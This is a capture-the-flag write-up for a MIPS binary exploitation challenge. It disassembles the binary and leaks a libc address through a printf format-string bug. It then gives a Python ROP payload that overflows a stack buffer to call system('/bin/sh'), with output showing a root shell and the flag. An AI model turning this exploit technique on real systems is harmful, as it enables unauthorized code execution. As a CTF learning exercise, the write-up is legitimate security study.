# meep - pwn fridgebuyer /meep ❯ file meep ``` meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped ``` /meep ❯ r2 -q -c 'aaa; afl' meep ``` 0x004008a8 5 336 dbg.diagnostics 0x004009f8 1 208 dbg.greet 0x00400ac8 10 692 dbg.main ``` /meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep ``` │ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5 │ 0x00400a50 00003825 move a3, zero │ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3 │ 0x00400a58 00402825 move a1, v0 │ 0x00400a5c 00002025 move a0, zero │ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp) │ 0x00400a64 0040c825 move t9, v0 │ 0x00400a68 0320f809 jalr t9 │ ... │ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5 │ 0x00400a94 00402025 move a0, v0 │ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp) │ 0x00400a9c 0040c825 move t9, v0 │ 0x00400aa0 0320f809 jalr t9 ``` 0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c sym.imp.printf(gp) -- format string /meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep ``` │ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20 │ ... │ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3 │ 0x00400910 27c20018 addiu v0, fp, 0x18 │ 0x00400914 00402825 move a1, v0 │ 0x00400918 00002025 move a0, zero │ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp) │ 0x00400920 0040c825 move t9, v0 │ 0x00400924 0320f809 jalr t9 │ ... │ 0x004009dc 8fbf00a4 lw ra, (var_a4h) │ 0x004009e0 8fbe00a0 lw fp, (var_a0h) │ 0x004009e4 8fb1009c lw s1, (var_9ch) │ 0x004009e8 8fb00098 lw s0, (var_98h) │ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8 │ 0x004009f0 03e00008 jr ra ``` 0x100 — reads 256 bytes into fp+0x18 ra loaded from fp+0xa4, then jr ra buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable /meep ❯ readelf --dyn-syms meep | grep puts ``` 18: 00000000 FUNC UND puts@GLIBC_2.0 ``` - GOT entry at 0x411078 - this is passed to greet func as "logger" - greet func stores it on the stack at fp+0x18 - printf's 6th arg so we can leak puts via %6$p meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1 ... meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001 ```Enter admin name: Hello: (nil).0x1.(nil).0x419020.0x7.0x2b37d3b0 +*Enter diagnostic command: ``` /meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system' ``` puts: 0x0007d3b0 system: 0x000536e8 ``` so offsets: - libc_base = leaked_puts - 0x7d3b0 - system = libc_base + 0x536e8 /meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh ``` 1ba178 /bin/sh ``` - string "/bin/sh" is at 0x1ba178 in libc - we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument /meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$' ``` 0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0 ``` - https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495 - https://www.pagetable.com/?p=313 - copy s1 into t9, we control s1 via overflow - jump to t9 (system func) - delay slot: copy s0 into a0 ("/bin/sh" string addr) ### sol - Send `%6$p\n` - leak puts addr: `libc_base = puts - 0x7d3b0` ```python payload = b'A'*0x80 # pad to s0 payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh" payload += p32(libc_base + 0x536e8) # s1 → system() payload += p32(0x41414141) # fp payload += p32(libc_base + 0x27488) # ra → gadget ``` - Gadget: `a0="/bin/sh"`, `jalr system()` gives shell /meep ❯ python3 sol.py remote ``` ... [+] Leaked puts: 0x2b7bd3b0 [+] libc base: 0x2b740000 [+] Shell response: uid=1000 ... ... ``` $ . ```uid=0(root) gid=0(root) groups=0(root)``` $ cat /home/flag.txt **gigem{m33p_m1p_1_n33d_4_m4p}**